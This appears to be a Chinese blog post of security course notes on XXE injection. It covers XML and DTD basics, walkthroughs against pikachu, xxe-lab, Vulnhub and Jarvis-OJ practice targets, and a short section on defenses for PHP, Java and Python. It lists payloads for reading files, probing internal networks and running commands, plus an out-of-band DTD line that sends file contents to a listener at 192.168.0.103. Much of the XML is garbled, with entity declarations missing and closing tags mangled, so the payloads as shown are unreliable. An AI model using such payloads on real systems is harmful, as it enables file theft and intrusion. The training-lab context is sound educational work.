web漏洞“小迪安全课堂笔记”XXE&XML

小迪安全课堂笔记XXE&XML

  • 思维导图
  • XML XXE
  • XML 与 HTML 的主要差异
    • pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入
    • xxe-lab 靶场登陆框 xml 数据传输测试-检测发现
    • CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
    • CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
    • xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)
  • xxe 漏洞修复与防御方案-php,java,python-过滤及禁用

思维导图

web漏洞“小迪安全课堂笔记”XXE&XML_第1张图片

XML XXE

XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从 HTML 分离,是独立于软件和硬件的信息传输工具。XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML 与 HTML 的主要差异

XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。




<!DOCTYPE note [ 
<!ELEMENT to (#PCDATA)> 
<!ELEMENT from (#PCDATA)> 
<!ELEMENT head (#PCDATA)> 
<!ELEMENT body (#PCDATA)> 
]]]>

<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>

#DTD
文档类型定义(DTD)可定义合法的 XML 文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用
(1)内部的 DOCTYPE 声明
DOCTYPE 根元素 [元素声明]>
(2)外部文档声明
DOCTYPE 根元素 SYSTEM ”文件名”>

#DTD 实体
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>

pikachu 靶场 xml 数据传输测试-回显,玩法,协议,引入

web漏洞“小迪安全课堂笔记”XXE&XML_第2张图片
web漏洞“小迪安全课堂笔记”XXE&XML_第3张图片

#玩法-读文件

DOCTYPE ANY [

]>
<x>&xxe;x>
#玩法-内网探针或攻击内网应用(触发漏洞地址)

DOCTYPE foo [
<!ELEMENT foo ANY >

]>
<x>&rabbit;x>
#玩法-RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令

DOCTYPE ANY [

]>
<x>&xxe;x>
#引入外部实体 dtd//一般用来绕过和自定义攻击

DOCTYPE test [

%file;
]>
<x>&send;x>

evil2.dtd:



------------------------------------------------------------------------------


#无回显-读取文件

DOCTYPE test [


%dtd;
%send;
]>

test.dtd:
% send SYSTEM 
'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;


#协议-读文件(绕过)编码绕过
参考:https://www.cnblogs.com/20175211lyz/p/11413335.html

DOCTYPE ANY [  ]>
<x>&f;x>

xxe-lab 靶场登陆框 xml 数据传输测试-检测发现

1.提交的数据包含 XML 格式如:
<forgot><username>adminusername>forgot>
2.请求头中如:
Content-Type:text/xml 或 Content-type:application/xml

DOCTYPE Mikasa [

]>
<user><username>&test;username><password>Mikasapassword>user>

web漏洞“小迪安全课堂笔记”XXE&XML_第4张图片
登录抓包,爬虫
web漏洞“小迪安全课堂笔记”XXE&XML_第5张图片
爬虫后点击历史,搜索关键字
web漏洞“小迪安全课堂笔记”XXE&XML_第6张图片
web漏洞“小迪安全课堂笔记”XXE&XML_第7张图片

找到xml
web漏洞“小迪安全课堂笔记”XXE&XML_第8张图片
提交数据包
web漏洞“小迪安全课堂笔记”XXE&XML_第9张图片
web漏洞“小迪安全课堂笔记”XXE&XML_第10张图片

修改参数,提交利用web漏洞“小迪安全课堂笔记”XXE&XML_第11张图片

CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战

扫描IP及端口->扫描探针目录->抓包探针xxe安全->利用xxe读取源码->flag指向文件->base3264解密->php运行->flag

DOCTYPEr[
<!ELEMENTrANY>

]>
<root><name>&sp;name><password>hjpassword>root>

web漏洞“小迪安全课堂笔记”XXE&XML_第12张图片
nmap扫描整个网段
web漏洞“小迪安全课堂笔记”XXE&XML_第13张图片
找到靶机
web漏洞“小迪安全课堂笔记”XXE&XML_第14张图片
访问80端口
web漏洞“小迪安全课堂笔记”XXE&XML_第15张图片
可以使用web扫描工具,扫描文件
web漏洞“小迪安全课堂笔记”XXE&XML_第16张图片
探索到robots.txt
web漏洞“小迪安全课堂笔记”XXE&XML_第17张图片
web漏洞“小迪安全课堂笔记”XXE&XML_第18张图片
web漏洞“小迪安全课堂笔记”XXE&XML_第19张图片
尝试登录抓包
web漏洞“小迪安全课堂笔记”XXE&XML_第20张图片
修改攻击代码,发包。PS:为什么用base64加密?使用加密可以直接写文件名,不用明确绝对路径。
web漏洞“小迪安全课堂笔记”XXE&XML_第21张图片
将信息发送到解密器下
web漏洞“小迪安全课堂笔记”XXE&XML_第22张图片
选中base64解密
web漏洞“小迪安全课堂笔记”XXE&XML_第23张图片
同理

web漏洞“小迪安全课堂笔记”XXE&XML_第24张图片
web漏洞“小迪安全课堂笔记”XXE&XML_第25张图片

密码解密登录,点击flag
web漏洞“小迪安全课堂笔记”XXE&XML_第26张图片
跳到这个地址,但是打不开web漏洞“小迪安全课堂笔记”XXE&XML_第27张图片
再次读取这个文件 因为再根目录下,所以加./
web漏洞“小迪安全课堂笔记”XXE&XML_第28张图片

解密
web漏洞“小迪安全课堂笔记”XXE&XML_第29张图片

base32解密->base64web漏洞“小迪安全课堂笔记”XXE&XML_第30张图片

解密
web漏洞“小迪安全课堂笔记”XXE&XML_第31张图片

再次读文件
web漏洞“小迪安全课堂笔记”XXE&XML_第32张图片
再次解密,$应该是php代码
web漏洞“小迪安全课堂笔记”XXE&XML_第33张图片

代码运行结果,gameover
web漏洞“小迪安全课堂笔记”XXE&XML_第34张图片

CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式

http://web.jarvisoj.com:9882/
更改请求数据格式:application/xml

DOCTYPEANY[
]>
<x>&f;x>

web漏洞“小迪安全课堂笔记”XXE&XML_第35张图片
web漏洞“小迪安全课堂笔记”XXE&XML_第36张图片
更改数据,必须修改为xml,否则下面代码不识别
web漏洞“小迪安全课堂笔记”XXE&XML_第37张图片
web漏洞“小迪安全课堂笔记”XXE&XML_第38张图片
发送,成功
web漏洞“小迪安全课堂笔记”XXE&XML_第39张图片

xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

https://www.cnblogs.com/bmjoker/p/9614990.html
xxe_payload_fuzz
web漏洞“小迪安全课堂笔记”XXE&XML_第40张图片

xxe 漏洞修复与防御方案-php,java,python-过滤及禁用

方案 1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf
=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案 2-过滤用户提交的 XML 数据
过滤关键词:

你可能感兴趣的:(网络安全,网络安全)